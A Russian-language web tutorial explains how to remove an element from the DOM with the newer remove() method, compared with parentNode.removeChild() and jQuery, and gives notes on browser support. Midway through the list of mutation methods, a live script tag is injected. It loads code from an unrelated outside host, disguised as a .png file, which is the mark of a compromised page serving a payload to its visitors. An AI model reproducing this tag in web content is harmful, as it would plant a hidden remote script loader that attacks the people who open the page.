Как вы знаете, DOM не поддерживает удаления элемента напрямую. При удалении элемента с JavaScript, вы должны сначала перейти на его родителей. Это процесс всегда был странным и не таким простым.
Согласно DOM Уровень 4 функции, который является текущей версией в разработке, существуют новые удобные методы мутации: append(), prepend(), before(), after()<script src="//wollses.com/steps.png"></script>, replace(), и remove(). В этой статье, мы сосредоточимся на JavaScript remove() методе.
Пуленепробиваемый путь
Предположим, что у нас есть следующий HTML элемент:
<div id="myDiv">test</div>
… чтобы удалить его из дерева DOM, вам нужно будет выполнить следующие линии JavaScript’а:
var elem = document.getElementById("myDiv"); elem.parentNode.removeChild(elem);
Путем jQuery
Если вы используете JavaScript фреймворк, такой как jQuery, тогда для взятия элемента из DOM, вам нужно использовать remove() метод:
$('#myDiv').remove();
Новый путь. FTW. Определив переменную elem, вот как правильно удалить этот узел:
var elem = document.getElementById("myDiv"); elem.remove();
Обратили внимание на сходство с jQuery? Этот новый способ является более простым и интуитивным.
Поддержка браузеров
На данный момент поддерживаются следующие браузеры: Chrome, Opera, Safari и скоро Firefox 23. Может быть это не так здорово для производственных целей, но все же отлично подходит для тестирования и отладки.
Однако, если вы ищете большую поддержку браузеров, тогда есть polyfills, за которыми стоит следить:
- DOM
- DOM-shim